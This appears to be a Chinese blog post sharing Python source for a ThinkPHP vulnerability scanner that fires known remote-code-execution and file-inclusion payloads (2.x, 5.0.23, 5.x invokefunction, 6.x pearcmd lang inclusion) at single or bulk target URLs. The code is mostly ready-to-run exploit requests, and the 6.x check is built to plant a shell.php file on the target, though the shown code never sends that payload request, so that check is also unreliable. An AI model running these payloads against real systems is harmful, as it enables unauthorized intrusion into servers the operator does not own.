漏洞利用-ThinkPHP 漏扫整合
本文最后更新于 420 天前,其中的信息可能已经有所发展或是发生改变。

代码

#!/usr/bin/python

import argparse
import datetime
import rich
import  sys
import tp_print as rprint
from tp_scan import start_scan

def get_time():
    return datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="ThinkPHP 漏扫")
    parser.add_argument('-url', '--url', type=str, help='请输入目标 url')
    parser.add_argument('-file', '--file', type=str, help='请指定待检测的 url 列表文件')
    args = parser.parse_args()

    if '-url' in sys.argv:
        rprint.info(get_time(),"thinkphp vulnerable scan start ... ")
        start_scan(args.url)
        rprint.info(get_time(), "thinkphp vulnerable scan end ... ")
    elif '-file' in sys.argv:
        file = open(args.file, "r")
        rprint.info(get_time(), "thinkphp vulnerable scan start ... ")
        for url in file:
            start_scan(url)
        rprint.info(get_time(), "thinkphp vulnerable scan end ... ")
from rich import print as rprint

def error(date, body):
    rprint("[[bold green]" + date + "[/bold green]] [[bold red]Error[/bold red]] > [bold yellow]" + body + "[/bold yellow]")

def success(date, body):
    rprint("[[bold green]" + date + "[/bold green]] [[bold green]Success[/bold green]] > " + body)

def info(date, body):
    rprint("[[bold green]" + date + "[/bold green]] [[bold blue]Info[/bold blue]] > " + body)
import datetime
import requests
from urllib.parse import urljoin
import tp_print as rprint

def get_time():
    return datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")

class tp_scan:
    def __init__(self) -> None:
        pass

    def thinkphp2_rce(self, url):
        result = {
            'name':'thinkphp 2x RCE',
            'vulnerable':False
        }
        try:
            payload = '?s=/a/b/c/${var_dump(md5(123456))}'
            url = urljoin(url, payload)
            response = requests.get(url)
            if 'e10adc3949ba59abbe56e057f20f883e' in response.text:
                result['vulnerable'] = True
                result['method'] = 'GET'
                result['url'] = url
                result['payload'] = payload
                return result
            else:
                return result
        except:
            return result

    def thinkphp_5023_rce(self, url):
        result = {
            'name':'thinkphp 5.0.23 RCE',
            'vulnerable':False,
        }
        payload = {
            '_method': '__construct',
            'filter[]': 'phpinfo',
            'method': 'get',
            'server[REQUEST_METHOD]': '1'
        }
        try:
            suburl = '/index.php?s=captcha'
            url = urljoin(url, suburl)
            response = requests.post(url, data=payload, verify=False)
            if 'PHP Version' in response.text:
                result['vulnerable'] = True
                result['method'] = 'POST'
                result['url'] = url
                result['payload'] = payload
                return result
            else:
                return result
        except:
            return result

    def thinkphp_5x_rce(self, url):
        result = {
            'name':'thinkphp 5.0.22/5.1.29 RCE',
            'vulnerable':False
        }
        try:
            payload = r'/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=123456'
            url = urljoin(url, payload)
            response = requests.get(url)
            print(response.text)
            if 'e10adc3949ba59abbe56e057f20f883e' in response.text:
                result['vulnerable'] = True
                result['method'] = 'GET'
                result['url'] = url
                result['payload'] = payload
                return result
            else:
                return result
        except:
            return result

    def thinkphp_6x_langrce(self, url):
        result = {
            'name':'thinkphp 6 lang local file inclusion',
            'vulnerable':False
        }
        try:
            payload = r'/index.php?+config-create+/&lang=../../../../../../../../../usr/local/lib/php/pearcmd&/%3C?=phpinfo()?%3E+shell.php'
            url = urljoin(url, payload)
            url2 = urljoin(url, 'shell.php')
            response2 = requests.get(url2)
            if response2.status_code == 200:
                result['vulnerable'] = True
                result['method'] = 'GET'
                result['url'] = url2
                result['payload'] = payload
                return result
            else:
                return result
        except:
            return result

def start_scan(url):
    ts = tp_scan()

    scan = ts.thinkphp2_rce(url)
    rprint.info(get_time(), scan['name'] + str('  ' + str(scan['vulnerable'])))

    scan = ts.thinkphp_5023_rce(url)
    rprint.info(get_time(), scan['name'] + str('  ' + str(scan['vulnerable'])))

    scan = ts.thinkphp_5x_rce(url)
    rprint.info(get_time(), scan['name'] + str('  ' + str(scan['vulnerable'])))

    scan = ts.thinkphp_6x_langrce(url)
    rprint.info(get_time(), scan['name'] + str('  ' + str(scan['vulnerable'])))

效果

image.png

学海无涯,回头是岸。 --- hola
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇